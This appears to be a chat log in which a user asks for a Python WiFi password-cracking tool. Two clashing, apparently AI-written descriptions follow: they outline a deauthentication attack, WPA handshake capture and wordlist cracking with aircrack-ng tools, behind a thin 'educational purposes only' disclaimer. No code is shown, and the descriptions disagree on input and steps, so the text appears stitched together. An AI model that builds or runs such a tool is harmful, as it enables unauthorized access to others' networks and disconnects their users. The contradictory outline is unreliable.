USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name (SSID) of a password protected wifi network and returning the plaintext password.
This python application should use a combination of shell tools assumed to be on the users linux system, including but not limited to iwconfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.
Operations may be run sequentially, or in parallel using multi-threading
As needed, the use of shell tools should utilize sudo capabilities
As needed, the application may utilize a wordlist found at ~/rockyou.txt
As needed, the application can change the state of the users wifi interface between managed and monitor mode

This application does the following:
1. Gets the available WiFi interfaces using `iwconfig`
2. Prompts the user to enter the SSID of the target network
3. Changes the WiFi interface to monitor mode using `airmon-ng`
4. Captures the handshake for the target network using `airodump-ng` and `aireplay-ng`
5. Changes the WiFi interface back to managed mode
6. Cracks the password using the captured handshake file and a wordlist (`~/rockyou.txt`) with `aircrack-ng`
7. Prints out the cracked password for the target network
It uses `subprocess` to run the shell commands and `re` to parse the output. The WiFi interface is changed between managed and monitor modes as needed.

This Python script does the following:
1. Prompts the user for the BSSID of the target Wi-Fi network.
2. Enables monitor mode on the wireless interface using `iwconfig`.
3. Starts capturing packets from the target network using `airodump-ng` in a separate thread.
4. Performs a deauthentication attack on the target network using `aireplay-ng` to force clients to reconnect and capture the handshake.
5. Waits for the packet capture to complete (timeout of 60 seconds).
6. Attempts to crack the captured handshake using `aircrack-ng` and a wordlist.
7. Disables monitor mode on the wireless interface.
8. Prints the cracked password if found, or a message if not found.
The script uses a combination of `iwconfig`, `airodump-ng`, `aireplay-ng`, and `aircrack-ng` tools to perform the Wi-Fi penetration testing tasks. It assumes these tools are available on the user's Linux system.
Please note that this script is for educational purposes only and should be used responsibly and with proper authorization.
